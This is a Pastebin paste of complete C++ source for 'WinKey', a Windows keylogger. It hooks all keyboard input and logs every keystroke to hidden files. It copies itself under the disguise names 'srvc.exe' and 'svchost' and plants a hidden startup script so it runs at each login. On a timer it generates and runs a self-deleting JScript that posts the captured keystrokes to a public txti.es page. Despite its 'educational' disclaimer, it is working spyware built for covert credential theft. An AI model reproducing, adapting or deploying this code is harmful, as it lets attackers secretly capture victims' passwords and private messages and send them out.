Advertisement
Guest User

Untitled

a guest
Nov 26th, 2017
77
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 15.53 KB | None | 0 0
  1. /*
  2.  * WinKey -- A GPL Windows keylogging program. While this program can potentially
  3.  * be used for nefarious purposes, it was written for educational and recreational
  4.  * purposes only and the author does not endorse illegal use.
  5.  *
  6.  * This program is free software: you can redistribute it and/or modify
  7.  * it under the terms of the GNU General Public License as published by
  8.  * the Free Software Foundation, either version 3 of the License, or
  9.  * (at your option) any later version.
  10.  *
  11.  * This program is distributed in the hope that it will be useful,
  12.  * but WITHOUT ANY WARRANTY; without even the implied warranty of
  13.  * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  14.  * GNU General Public License for more details.
  15.  *
  16.  * You should have received a copy of the GNU General Public License
  17.  * along with this program.  If not, see <http://www.gnu.org/licenses/>.
  18.  */
  19. #include <fstream>
  20. #include <iostream>
  21. #include <string>
  22. #include <sstream>
  23. #include <algorithm>
  24. #include <windows.h>
  25. #include <shlobj.h>
  26. #include <io.h>
  27. #include <string.h>
  28. #include <stdint.h>
  29.  
  30.  
  31. // output file options
  32. #define OUTPUT_IN_MY_DOCUMENTS  true            /* If false, paths below should be full pahts ("C:\\Us...") */
  33. #define OUTFILE_NAME        "WinKey.log"        /* Output file */
  34. #define OUTFILE_NAME_TXTI   "WinKeySmall.log"   /* Output file which stores the keys that will go to txti.es next */
  35.  
  36. #define SERVER_UPDATE_FREQUENCY 15 * 60 * 1000  /* how frequently to update the server (in ms) */
  37. #define FIRST_UPDATE_TIME       30 * 1000       /* how long to wait for first server update from startup (in ms) */
  38.  
  39. #define EXE_NAME "srvc.exe"
  40.  
  41. #define CLASSNAME   "wink"
  42. #define WINDOWTITLE "svchost"
  43.  
  44.  
  45. #define IDT_TIMER_FIRST 1001 /* id of the first timer (respecting FIRST_UPDATE_TIME) */
  46. #define IDT_TIMER_PERIODIC 1002 /* id of the timer working all the time (respecting SERVER_UPDATE_FREQUENCY) */
  47.  
  48. volatile int _positive_sp_check = 0;
  49. #define GUARD \
  50.     if(_positive_sp_check != 0) \
  51.         __asm__(".intel_syntax noprefix;\n\t" \
  52.             "add sp, 8\n" \
  53.             ".att_syntax prefix");
  54.  
  55.  
  56. static HHOOK    kbdhook;    /* Keyboard hook handle */
  57. static bool running;    /* Used in main loop */
  58.  
  59. static char outfile_path[2048] = { '\0' };
  60. static char outfile_path_txti[2048] = { '\0' };
  61.  
  62.  
  63. /* CRC-32C (iSCSI) polynomial in reversed bit order. */
  64. #define POLY_CRC32C 0x82f63b78
  65.  
  66. /* CRC-32 (Ethernet, ZIP, etc.) polynomial in reversed bit order. */
  67. #define POLY_CRC32 0xedb88320
  68.  
  69. template <int Poly>
  70. static uint32_t crc32c(uint32_t crc, const unsigned char *buf, size_t len) { GUARD
  71.     int k;
  72.  
  73.     crc = ~crc;
  74.     while (len--) {
  75.         crc ^= *buf++;
  76.         for (k = 0; k < 8; k++)
  77.             crc = crc & 1 ? (crc >> 1) ^ Poly : crc >> 1;
  78.     }
  79.     return ~crc;
  80. }
  81. #define TRANSLATION_IDENT  __DATE__ "!" __TIME__
  82.  
  83. static const uint32_t RAND_TXTI_URL = crc32c<POLY_CRC32C>(0, (const unsigned char *)TRANSLATION_IDENT, strlen(TRANSLATION_IDENT));
  84. static const uint32_t RAND_TXTI_EDIT_CODE = crc32c<POLY_CRC32>(0, (const unsigned char *)TRANSLATION_IDENT, strlen(TRANSLATION_IDENT));
  85.  
  86. static void try_sending(const bool empty);
  87.  
  88. static inline bool isCapsLockDown() { GUARD
  89.     return GetKeyState(VK_CAPITAL) & 0x1;
  90. }
  91.  
  92. /**
  93.  * \brief Called by Windows automagically every time a key is pressed (regardless
  94.  * of who has focus)
  95.  */
  96.  
  97. __declspec(dllexport) LRESULT CALLBACK handlekeys(int code, WPARAM wp, LPARAM lp) { GUARD
  98.  
  99.     if (code == HC_ACTION && (wp == WM_SYSKEYDOWN || wp == WM_KEYDOWN)) {
  100.         static bool capslock = isCapsLockDown();
  101.         static bool shift = false;
  102.         char tmp[0xFF] = {0};
  103.         std::string str;
  104.         DWORD msg = 1;
  105.         KBDLLHOOKSTRUCT st_hook = *((KBDLLHOOKSTRUCT*)lp);
  106.         bool printable;
  107.  
  108.         /*
  109.          * Get key name as string
  110.          */
  111.         msg += (st_hook.scanCode << 16);
  112.         msg += (st_hook.flags << 24);
  113.         GetKeyNameText(msg, tmp, 0xFF);
  114.         str = std::string(tmp);
  115.  
  116.         printable = (str.length() <= 1) ? true : false;
  117.  
  118.         /*
  119.          * Non-printable characters only:
  120.          * Some of these (namely; newline, space and tab) will be
  121.          * made into printable characters.
  122.          * Others are encapsulated in brackets ('[' and ']').
  123.          */
  124.         if (!printable) {
  125.             /*
  126.              * Keynames that change state are handled here.
  127.              */
  128.             if (str == "CAPSLOCK")
  129.                 capslock = !capslock;
  130.             else if (str == "SHIFT")
  131.                 shift = true;
  132.  
  133.             /*
  134.              * Keynames that may become printable characters are
  135.              * handled here.
  136.              */
  137.             if (str == "ENTER") {
  138.                 str = "\n";
  139.                 printable = true;
  140.             } else if (str == "SPACE") {
  141.                 str = " ";
  142.                 printable = true;
  143.             } else if (str == "TAB") {
  144.                 str = "\t";
  145.                 printable = true;
  146.             } else {
  147.                 str = ("[" + str + "]");
  148.             }
  149.         }
  150.  
  151.         /*
  152.          * Printable characters only:
  153.          * If shift is on and capslock is off or shift is off and
  154.          * capslock is on, make the character uppercase.
  155.          * If both are off or both are on, the character is lowercase
  156.          */
  157.         if (printable) {
  158.             if (shift == capslock) { /* Lowercase */
  159.                 for (size_t i = 0; i < str.length(); ++i)
  160.                     str[i] = tolower(str[i]);
  161.             } else { /* Uppercase */
  162.                 for (size_t i = 0; i < str.length(); ++i) {
  163.                     if (str[i] >= 'A' && str[i] <= 'Z') {
  164.                         str[i] = toupper(str[i]);
  165.                     }
  166.                 }
  167.             }
  168.  
  169.             shift = false;
  170.         }
  171.  
  172. #ifdef DEBUG
  173.         std::cout << str;
  174. #endif
  175.         std::ofstream outfile(outfile_path, std::ios_base::app);
  176.         outfile << str;
  177.         outfile.close();
  178.  
  179.         std::ofstream outfile_txti(outfile_path_txti, std::ios_base::app);
  180.         outfile_txti << str;
  181.         outfile_txti.close();
  182.     }
  183.  
  184.     return CallNextHookEx(kbdhook, code, wp, lp);
  185. }
  186.  
  187.  
  188. /**
  189.  * \brief Called by DispatchMessage() to handle messages
  190.  * \param hwnd  Window handle
  191.  * \param msg   Message to handle
  192.  * \param wp
  193.  * \param lp
  194.  * \return 0 on success
  195.  */
  196. LRESULT CALLBACK windowprocedure(HWND hwnd, UINT msg, WPARAM wp, LPARAM lp) { GUARD
  197.  
  198.     switch (msg) {
  199.         case WM_CLOSE:
  200.         case WM_DESTROY:
  201.             running = false;
  202.             break;
  203.         case WM_TIMER:
  204.             if(wp == IDT_TIMER_FIRST) {
  205.                 static bool already_fired = false;
  206.                 if(already_fired)
  207.                     break;
  208.                 already_fired = true;
  209.  
  210.                 try_sending(false);
  211.  
  212.                 SetTimer(hwnd, IDT_TIMER_PERIODIC, SERVER_UPDATE_FREQUENCY, (TIMERPROC) NULL);
  213.                 KillTimer(hwnd, IDT_TIMER_FIRST);
  214.                 break;
  215.             } else if(wp == IDT_TIMER_PERIODIC) {
  216.                 try_sending(false);
  217.                 break;
  218.             }
  219.             /* [[fallthrough]] */
  220.         default:
  221.             /* Call default message handler */
  222.             return DefWindowProc(hwnd, msg, wp, lp);
  223.     }
  224.  
  225.     return 0;
  226. }
  227.  
  228. static bool paths_equal(const char *path1, const char *path2) { GUARD
  229.     TCHAR path1short[MAX_PATH] = { '\0' };
  230.     TCHAR path2short[MAX_PATH] = { '\0' };
  231.  
  232.     GetShortPathName(path1, path1short, MAX_PATH);
  233.     GetShortPathName(path2, path2short, MAX_PATH);
  234.  
  235.     return strcmp(path1short, path2short) == 0;
  236. }
  237.  
  238. static std::string get_path_to_myself() { GUARD
  239.     TCHAR fileName[2048] = { '\0' };
  240.     DWORD length = GetModuleFileName(NULL, fileName, 2047);
  241.  
  242.     if(length <= 0) // can't get the path
  243.         return "";
  244.  
  245.     return std::string(fileName, length);
  246. }
  247.  
  248. static std::string get_path_to_special_folder(int special_folder_csidl) { GUARD
  249.     TCHAR path[MAX_PATH] = { '\0' };
  250.     SHGetFolderPath(NULL, special_folder_csidl, NULL, 0, path);
  251.     return std::string(path);
  252. }
  253.  
  254.  
  255. static void hide_file(LPCTSTR filename) { GUARD
  256.     DWORD dwAttrs = GetFileAttributes(filename);
  257.  
  258.     if (dwAttrs == INVALID_FILE_ATTRIBUTES)
  259.         return;
  260.  
  261.     SetFileAttributes(filename, dwAttrs | FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM);
  262. }
  263.  
  264. static void try_sending(const bool empty) { GUARD
  265.     std::string outf = outfile_path;
  266.     outf += ".js";
  267.  
  268.     DeleteFile(outf.c_str());
  269.  
  270.     std::string logfile(outfile_path_txti);
  271.     std::replace(logfile.begin(), logfile.end(), '\\', '/');
  272.  
  273.     std::ofstream(outf.c_str())
  274.  
  275.         << '\0' << ";" << // why
  276.  
  277.         "var name = '" << RAND_TXTI_URL << "';"
  278.         "var pass = '" << RAND_TXTI_EDIT_CODE << "';"
  279.         "var content_file = \"" << logfile << "\";"
  280.         ""
  281.         "var fs = WScript.CreateObject('Scripting.FileSystemObject');"
  282.         "var get = WScript.CreateObject('msxml2.xmlhttp.6.0');"
  283.         "var post = WScript.CreateObject('msxml2.xmlhttp.6.0');"
  284.         ""
  285.         "function end(c) {"
  286.             "fs.GetFile(WScript.ScriptFullName).Delete(true);"
  287.             "WScript.Quit(c);"
  288.         "}"
  289.         ""
  290.         << (empty
  291.             ?
  292.                 "var content = '[log start]';"
  293.             :
  294.                 "try {"
  295.                     "var file = fs.OpenTextFile(content_file, 1);"
  296.                     "var content = '\\n\\n##' + new Date() + '\\n\\n' + file.ReadAll();"
  297.                     "file.Close();"
  298.                 "} catch (e) {"
  299.                     "end(1);"
  300.                 "}") <<
  301.         "get.open('GET', 'http://txti.es/' + name + '/edit', false);"
  302.         "get.send();"
  303.         "if(get.status >= 200 && get.status < 300) {"
  304.             "var page = get.responseText;"
  305.             "var page_id = page.split('name=\"page_id\" value=\"')[1].split('\"')[0];"
  306.             "var old_content = page.split('<textarea class=\"text-input\" id=\"content-input\" name=\"content\">')[1].split('</textarea>')[0];"
  307.             ""
  308.             "post.open('POST', 'http://txti.es/' + name + '/edit', false);"
  309.             "post.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');"
  310.             "post.send('content=' + escape(old_content) + escape(content) +"
  311.                 "'&custom_url=' + escape(name) +"
  312.                 "'&edit_code=' + escape(pass) +"
  313.                 "'&page_id=' + escape(page_id) +"
  314.                 "'&form_level=3&update=1');"
  315.         "} else if(get.status == 404) {"
  316.             "post.open('POST', 'http://txti.es', false);"
  317.             "post.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');"
  318.             "post.send('content=' + escape(content) +"
  319.                 "'&custom_url=' + escape(name) +"
  320.                 "'&custom_edit_code=' + escape(pass) +"
  321.                 "'&form_level=2&submit=1&username=');"
  322.         "} else {"
  323.             "end(2);"
  324.         "}"
  325.         ""
  326.         "if(post.status >= 200 && post.status < 300) {"
  327.             "try {"
  328.             << (empty ? "" : "fs.GetFile(content_file).Delete(true);") <<
  329.             "} catch(e) {}"
  330.         "}"
  331.         ""
  332.         "end(0);";
  333.  
  334.         hide_file(outf.c_str());
  335.  
  336.         ShellExecute(NULL, "open", outf.c_str(), NULL, NULL, SW_SHOW);
  337. }
  338.  
  339. /**
  340.  * \return true if the program should end
  341.  */
  342. static bool setup_autostart(LPSTR cmdline) { GUARD
  343.     std::string startup_js = get_path_to_special_folder(CSIDL_STARTUP) + "\\.js";
  344.     std::string my_documents = get_path_to_special_folder(CSIDL_PERSONAL);
  345.     std::string exe = my_documents + "\\" EXE_NAME;
  346.     std::string myself = get_path_to_myself();
  347.  
  348. #if OUTPUT_IN_MY_DOCUMENTS == true
  349.     strcat(outfile_path, my_documents.c_str());
  350.     strcat(outfile_path, "\\");
  351.  
  352.     strcat(outfile_path_txti, my_documents.c_str());
  353.     strcat(outfile_path_txti, "\\");
  354. #endif
  355.     strcat(outfile_path, OUTFILE_NAME);
  356.     strcat(outfile_path_txti, OUTFILE_NAME_TXTI);
  357.  
  358.     std::cout << "Setting up " << startup_js << '\n';
  359.     {
  360.         DeleteFile(startup_js.c_str());
  361.         Sleep(200);
  362.         std::ofstream f(startup_js.c_str());
  363.         if(f << "var sh = WScript.createOBJect('Wscript.sHELL');\r\n"
  364.                 "sh.Run('\"' + sh.SpecialFolders('MyDocuments') + '\\\\" EXE_NAME "\" --a', +(!1));\r\n") {
  365.  
  366.             std::cout << "ok\n";
  367.         } else {
  368.             std::cout << "error " << GetLastError() << '\n';
  369.         }
  370.     }
  371.  
  372.     std::cout << "\nCopying myself to " << exe << '\n';
  373.     if(!paths_equal(myself.c_str(), exe.c_str())) {
  374.         DeleteFile(exe.c_str());
  375.         Sleep(200);
  376.         if(CopyFile(myself.c_str(), exe.c_str(), FALSE) != 0) {
  377.             std::cout << "ok\n";
  378.         } else {
  379.             std::cout << "error " << GetLastError() << '\n';
  380.         }
  381.     }
  382.  
  383.     std::ofstream(outfile_path).close();
  384.  
  385.     hide_file(outfile_path);
  386.     hide_file(startup_js.c_str());
  387.     hide_file(exe.c_str());
  388.  
  389.     if(_access(startup_js.c_str(), 0) == 0
  390.        && _access(exe.c_str(), 0) == 0
  391.        && strstr(cmdline, "--a") != NULL) {
  392.         return false;
  393.     }
  394.  
  395.     ShellExecute(NULL, "open", startup_js.c_str(), NULL, NULL, SW_SHOW);
  396.  
  397.     std::cout << "\n\ndone\n";
  398.     std::cout << "Output will be written to " << outfile_path << "\n\n";
  399.  
  400.     std::cout << "Setting up online output..\n";
  401.     try_sending(true);
  402.  
  403.     std::cout << "\n\nOnline output URL:\n";
  404.     std::cout << "http://txti.es/" << RAND_TXTI_URL << '\n';
  405.  
  406.     std::cout << "\nOpening in browser..";
  407.     /* Wait a moment so that the webpage is actually created */
  408.     Sleep(2500);
  409.  
  410.     std::stringstream url;
  411.     url << "http://txti.es/" << RAND_TXTI_URL;
  412.     std::string urlstr = url.str();
  413.     ShellExecute(NULL, "open", urlstr.c_str(), NULL, NULL, SW_SHOW);
  414.  
  415.     return true;
  416. }
  417.  
  418.  
  419. int WINAPI WinMain(HINSTANCE thisinstance, HINSTANCE previnstance,
  420.         LPSTR cmdline, int ncmdshow)
  421. { GUARD
  422.     if(strstr(cmdline, "--secret") != NULL) {
  423.         std::string in_my_documents = (OUTPUT_IN_MY_DOCUMENTS ? " located in My Documents" : "");
  424.  
  425.         std::cout << "Full output is in " OUTFILE_NAME << in_my_documents << "\n";
  426.         std::cout << "Output until next online update is in " OUTFILE_NAME_TXTI << in_my_documents << "\n\n";
  427.         std::cout << "Online page with output is http://txti.es/" << RAND_TXTI_URL << "\n";
  428.         std::cout << "Edit code is " << RAND_TXTI_EDIT_CODE << "\n";
  429.         return 0;
  430.     }
  431.  
  432.     if(setup_autostart(cmdline))
  433.         return 0;
  434.  
  435.     /*
  436.      * Set up window
  437.      */
  438.     HWND        hwnd;
  439.     HWND        fgwindow = GetForegroundWindow(); /* Current foreground window */
  440.     MSG     msg;
  441.     WNDCLASSEX  windowclass;
  442.     HINSTANCE   modulehandle;
  443.  
  444.     windowclass.hInstance = thisinstance;
  445.     windowclass.lpszClassName = CLASSNAME;
  446.     windowclass.lpfnWndProc = windowprocedure;
  447.     windowclass.style = CS_DBLCLKS;
  448.     windowclass.cbSize = sizeof(WNDCLASSEX);
  449.     windowclass.hIcon = LoadIcon(NULL, IDI_APPLICATION);
  450.     windowclass.hIconSm = LoadIcon(NULL, IDI_APPLICATION);
  451.     windowclass.hCursor  = LoadCursor(NULL, IDC_ARROW);
  452.     windowclass.lpszMenuName = NULL;
  453.     windowclass.cbClsExtra = 0;
  454.     windowclass.cbWndExtra = 0;
  455.     windowclass.hbrBackground = (HBRUSH)COLOR_BACKGROUND;
  456.  
  457.     if (!(RegisterClassEx(&windowclass)))
  458.         return 1;
  459.  
  460.     hwnd = CreateWindowEx(NULL, CLASSNAME, WINDOWTITLE, WS_OVERLAPPEDWINDOW,
  461.             CW_USEDEFAULT, CW_USEDEFAULT, 640, 480, HWND_DESKTOP, NULL,
  462.             thisinstance, NULL);
  463.     if (!(hwnd))
  464.         return 1;
  465.  
  466.     /*
  467.      *  Make the window visible
  468.      */
  469.     ShowWindow(hwnd, SW_SHOW);
  470.  
  471.     UpdateWindow(hwnd);
  472.     SetForegroundWindow(fgwindow); /* Give focus to the previous fg window */
  473.  
  474.     /*
  475.      * Hook keyboard input so we get it too
  476.      */
  477.     modulehandle = GetModuleHandle(NULL);
  478.     kbdhook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)handlekeys, modulehandle, NULL);
  479.  
  480.     running = true;
  481.  
  482.     SetTimer(hwnd, IDT_TIMER_FIRST, FIRST_UPDATE_TIME, (TIMERPROC) NULL);
  483.  
  484.     //try_sending(false);
  485.  
  486.     //GetWindowsDirectory((LPSTR)windir, MAX_PATH);
  487.  
  488.     /*
  489.      * Main loop
  490.      */
  491.     while (running) {
  492.         /*
  493.          * Get messages, dispatch to window procedure
  494.          */
  495.         if (!GetMessage(&msg, NULL, 0, 0))
  496.             running = false; /*
  497.                       * This is not a "return" or
  498.                       * "break" so the rest of the loop is
  499.                       * done. This way, we never miss keys
  500.                       * when destroyed but we still exit.
  501.                       */
  502.         TranslateMessage(&msg);
  503.         DispatchMessage(&msg);
  504.     }
  505.  
  506.     return 0;
  507. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement